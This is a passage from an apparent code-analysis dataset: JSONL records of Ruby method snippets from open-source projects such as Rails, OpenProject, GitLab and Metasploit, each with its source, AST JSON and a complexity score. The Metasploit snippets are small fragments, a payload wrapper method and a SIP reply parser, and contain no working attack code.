"children\":[{\"type\":\"const\",\"children\":[null,\"RateLimiter\"]},\"LimitExceeded\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GlobalSetting\"]},\"max_data_explorer_api_req_mode\"]},\"include?\",{\"type\":\"str\",\"children\":[\"warn\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"warn\",{\"type\":\"str\",\"children\":[\"Query run 10 second rate limit exceeded\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GlobalSetting\"]},\"max_data_explorer_api_req_mode\"]},\"include?\",{\"type\":\"str\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},null]}]}]},null]}]}","id":"b0f634f0-1de0-40e3-b44c-0e0a5c776af5"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/engine.rb","start_line":378,"raw_source":"def endpoint(endpoint = nil)\n        @endpoint ||= nil\n        @endpoint = endpoint if endpoint\n        @endpoint\n      end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"endpoint\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"endpoint\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@endpoint\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"endpoint\"]},{\"type\":\"ivasgn\",\"children\":[\"@endpoint\",{\"type\":\"lvar\",\"children\":[\"endpoint\"]}]},null]},{\"type\":\"ivar\",\"children\":[\"@endpoint\"]}]}]}","id":"cedcbb77-e462-4eae-ad9b-e446fe0633d4"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/update_ancestors/loader.rb","start_line":152,"raw_source":"def previous_parent_id\n    if work_package.parent_id && work_package.destroyed?\n      work_package.parent_id\n    elsif work_package.parent_id.nil? && work_package.parent_id_was\n      work_package.parent_id_was\n    else\n      previous_change_parent_id\n    end\n  end","complexity_score":22.0,"ast_json":"{\"type\":\"def\",\"children\":[\"previous_parent_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"parent_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"destroyed?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"parent_id\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"parent_id\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"parent_id_was\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"parent_id_was\"]},{\"type\":\"send\",\"children\":[null,\"previous_change_parent_id\"]}]}]}]}","id":"dfbf9a5d-3e34-45fa-9fbb-e9b5c11414ad"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/sanitization.rb","start_line":166,"raw_source":"def sanitize_sql_array(ary)\n        statement, *values = ary\n        if values.first.is_a?(Hash) && /:\\w+/.match?(statement)\n          with_connection do |c|\n            replace_named_bind_variables(c, statement, values.first)\n          end\n        elsif statement.include?(\"?\")\n          with_connection do |c|\n            replace_bind_variables(c, statement, values)\n          end\n        elsif statement.blank?\n          statement\n        else\n          with_connection do |c|\n            statement % values.collect { |value| c.quote_string(value.to_s) }\n          end\n        end\n      end","complexity_score":32.4,"ast_json":"{\"type\":\"def\",\"children\":[\"sanitize_sql_array\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ary\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"statement\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"values\"]}]}]},{\"type\":\"lvar\",\"children\":[\"ary\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"first\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\":\\\\w+\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match?\",{\"type\":\"lvar\",\"children\":[\"statement\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_connection\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[null,\"replace_named_bind_variables\",{\"type\":\"lvar\",\"children\":[\"c\"]},{\"type\":\"lvar\",\"children\":[\"statement\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"first\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"statement\"]},\"include?\",{\"type\":\"str\",\"children\":[\"?\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_connection\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[null,\"replace_bind_variables\",{\"type\":\"lvar\",\"children\":[\"c\"]},{\"type\":\"lvar\",\"children\":[\"statement\"]},{\"type\":\"lvar\",\"children\":[\"values\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"statement\"]},\"blank?\"]},{\"type\":\"lvar\",\"children\":[\"statement\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_connection\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"statement\"]},\"%\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"quote_string\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]}]}]}]}]}]}]}]}]}]}","id":"8a5d38ff-a241-472c-9608-f0ac661cc73c"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/tag.rb","start_line":48,"raw_source":"def name\n      self.class.name.downcase\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]},\"downcase\"]}]}","id":"29f27728-77f9-48a1-a771-0634b5464ac6"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/payments_controller.rb","start_line":60,"raw_source":"def capture\n        if @payment.capture!\n          flash[:success] = Spree.t(:payment_updated)\n          # move order to next state if possible\n          while @order.next; end\n        else\n          flash[:error] = @payment.errors.full_messages.to_sentence\n        end\n        redirect_to location_after_save\n      rescue Spree::Core::GatewayError => ge\n        flash[:error] = ge.message.to_s\n        redirect_to location_after_save\n      end","complexity_score":28.3,"ast_json":"{\"type\":\"def\",\"children\":[\"capture\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@payment\"]},\"capture!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"sym\",\"children\":[\"payment_updated\"]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"next\"]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@payment\"]},\"errors\"]},\"full_messages\"]},\"to_sentence\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"location_after_save\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Core\"]},\"GatewayError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ge\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ge\"]},\"message\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"location_after_save\"]}]}]}]},null]}]}","id":"44c1061b-9997-413e-b86e-41731e5c0da4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/cmd/windows/reverse_ruby.rb","start_line":36,"raw_source":"def generate(_opts = {})\n    return super + command_string\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"+\",{\"type\":\"send\",\"children\":[null,\"command_string\"]}]}]}]}","id":"b3932a73-cba8-4c8e-a551-feb4b0941aa4"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/broadcasts/welcome_notification/generator.rb","start_line":128,"raw_source":"def welcome_broadcast\n        @welcome_broadcast ||= Broadcast.active.find_by!(title: I18n.t(\n          \"services.broadcasts.welcome_notification.generator.welcome\", key: \"welcome_thread\"\n        ))\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"welcome_broadcast\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@welcome_broadcast\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Broadcast\"]},\"active\"]},\"find_by!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"services.broadcasts.welcome_notification.generator.welcome\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"welcome_thread\"]}]}]}]}]}]}]}]}]}","id":"84495fc0-0860-4ab0-9b49-d02655be811e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/work_packages/progress_controller.rb","start_line":179,"raw_source":"def allowed_touched_params\n    allowed_params.filter { touched?(it) }\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_touched_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_params\"]},\"filter\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"touched?\",{\"type\":\"send\",\"children\":[null,\"it\"]}]}]}]}","id":"61b91894-98f0-4b11-88a8-19968a482d9a"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20241216224237_validate_not_null_to_poll_vote_poll_column.rb","start_line":4,"raw_source":"def up\n    connection.execute(<<~SQL.squish)\n      DELETE FROM poll_votes\n      WHERE poll_id IS NULL\n    SQL\n\n    validate_check_constraint :poll_votes, name: 'poll_votes_poll_id_null'\n    change_column_null :poll_votes, :poll_id, false\n    remove_check_constraint :poll_votes, name: 'poll_votes_poll_id_null'\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DELETE FROM poll_votes\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE poll_id IS NULL\\n\"]}]},\"squish\"]}]},{\"type\":\"send\",\"children\":[null,\"validate_check_constraint\",{\"type\":\"sym\",\"children\":[\"poll_votes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"poll_votes_poll_id_null\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"change_column_null\",{\"type\":\"sym\",\"children\":[\"poll_votes\"]},{\"type\":\"sym\",\"children\":[\"poll_id\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"remove_check_constraint\",{\"type\":\"sym\",\"children\":[\"poll_votes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"poll_votes_poll_id_null\"]}]}]}]}]}]}","id":"8ba7c592-9c7f-4786-96ab-478e15d20d5f"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/example_group.rb","start_line":534,"raw_source":"def self.store_before_context_ivars(example_group_instance)\n        each_instance_variable_for_example(example_group_instance) do |ivar|\n          before_context_ivars[ivar] = example_group_instance.instance_variable_get(ivar)\n        end\n      end","complexity_score":5.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"store_before_context_ivars\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"example_group_instance\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_instance_variable_for_example\",{\"type\":\"lvar\",\"children\":[\"example_group_instance\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ivar\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"before_context_ivars\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"ivar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"example_group_instance\"]},\"instance_variable_get\",{\"type\":\"lvar\",\"children\":[\"ivar\"]}]}]}]}]}","id":"f8e1a766-573e-4256-b684-54b2b7fd0839"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/work_packages/abstract_work_package.rb","start_line":63,"raw_source":"def relations_tab\n      Components::WorkPackages::Relations.new(work_package)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"relations_tab\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Components\"]},\"WorkPackages\"]},\"Relations\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"work_package\"]}]}]}","id":"41ab80c8-4151-404f-a9c0-d23346a549f1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/sip/enumerator_tcp.rb","start_line":71,"raw_source":"def parse_reply(resp, meth)\n    repcode = ''\n    agent = ''\n    verbs = ''\n    serv = ''\n    prox = ''\n\n    if (resp =~ /^To\\:\\s*(.*)$/mi)\n      testn = \"#{$1.strip}\".split(';')[0]\n    end\n\n    case resp\n    when /^401/\n      print_good(\"Found user: #{testn} [Auth]\")\n      # Add Report\n      report_note(\n        :host\t=> rhost,\n        :proto\t=> 'sip',\n        :port\t=> rport,\n        :type\t=> \"Found user: #{testn} [Auth]\",\n        :data\t=> { :user => testn }\n      )\n    when /^200/\n      print_good(\"Found user: #{testn} [Open]\")\n      # Add Report\n      report_note(\n        :host\t=> rhost,\n        :proto\t=> 'sip',\n        :port\t=> rport,\n        :type\t=> \"Found user: #{testn} [Open]\",\n        :data\t=> { :user => testn }\n      )\n    else\n      # print_error(\"Undefined error code: #{resp.to_i}\"\n    end\n  end","complexity_score":24.6,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_reply\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resp\"]},{\"type\":\"arg\",\"children\":[\"meth\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"repcode\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"agent\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"verbs\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"serv\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"prox\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^To\\\\:\\\\s*(.*)$\"]},{\"type\":\"regopt\",\"children\":[\"i\",\"m\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"testn\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]},\"strip\"]}]}]},\"split\",{\"type\":\"str\",\"children\":[\";\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^401\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found user: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"testn\"]}]},{\"type\":\"str\",\"children\":[\" [Auth]\"]}]}]},{\"type\":\"send\",\"children\":[null,\"report_note\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"sip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found user: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"testn\"]}]},{\"type\":\"str\",\"children\":[\" [Auth]\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"testn\"]}]}]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^200\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found user: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"testn\"]}]},{\"type\":\"str\",\"children\":[\" [Open]\"]}]}]},{\"type\":\"send\",\"children\":[null,\"report_note\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"sip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found user: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"testn\"]}]},{\"type\":\"str\",\"children\":[\" [Open]\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"testn\"]}]}]}]}]}]}]}]},null]}]}]}","id":"8f7efc6e-13ea-4853-8b75-43300e7f44e5"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/controllers/enterprise/devise_overrides/sessions_controller.rb","start_line":27,"raw_source":"def create_audit_event(action)\n    return unless @resource\n\n    associated_type = 'Account'\n    @resource.accounts.each do |account|\n      @resource.audits.create(\n        action: action,\n        user_id: @resource.id,\n        associated_id: account.id,\n        associated_type: associated_type\n      )\n    end\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_audit_event\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@resource\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"associated_type\",{\"type\":\"str\",\"children\":[\"Account\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@resource\"]},\"accounts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@resource\"]},\"audits\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"lvar\",\"children\":[\"action\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@resource\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"associated_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"associated_type\"]},{\"type\":\"lvar\",\"children\":[\"associated_type\"]}]}]}]}]}]}]}","id":"afe14217-5d96-4c74-97cb-84463cb23a39"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/authorized_keys.rb","start_line":53,"raw_source":"def batch_add_keys(keys)\n      lock(300) do # Allow 300 seconds (5 minutes) for batch_add_keys\n        open_authorized_keys_file('a') do |file|\n          keys.each do |key|\n            public_key = strip(key.key)\n            logger.info(\"Adding key (#{key.shell_id}): #{public_key}\")\n            file.puts(key_line(key.shell_id, public_key))\n          end\n        end\n      end\n\n      true\n    rescue Gitlab::AuthorizedKeys::KeyError\n      false\n    end","complexity_score":24.75,"ast_json":"{\"type\":\"def\",\"children\":[\"batch_add_keys\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"keys\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lock\",{\"type\":\"int\",\"children\":[300]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"open_authorized_keys_file\",{\"type\":\"str\",\"children\":[\"a\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"public_key\",{\"type\":\"send\",\"children\":[null,\"strip\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"key\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Adding key (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"shell_id\"]}]},{\"type\":\"str\",\"children\":[\"): \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"public_key\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"puts\",{\"type\":\"send\",\"children\":[null,\"key_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"shell_id\"]},{\"type\":\"lvar\",\"children\":[\"public_key\"]}]}]}]}]}]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AuthorizedKeys\"]},\"KeyError\"]}]},null,{\"type\":\"false\",\"children\":[]}]},null]}]}","id":"df524909-2d8e-4bf5-935c-e5762b4a1ba5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-backup-cli/lib/gitlab/backup/cli/shell/base.rb","start_line":10,"raw_source":"def typecast_input!(input)\n            case input\n            in Pathname\n              input.to_s\n            else\n              input\n            end\n          end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"typecast_input!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"case_match\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"to_s\"]}]},{\"type\":\"lvar\",\"children\":[\"input\"]}]}]}","id":"bceb4de3-c6be-49f0-93ed-36a89c47f5cb"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/contracts/meeting_outcomes/editable_item.rb","start_line":74,"raw_source":"def visible?\n      @visible ||= model.meeting_agenda_item.meeting&.visible?(user)\n    end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"visible?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@visible\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"meeting_agenda_item\"]},\"meeting\"]},\"visible?\",{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]}","id":"791cee2c-4a51-4942-b1d7-e8d8196ac2c3"}
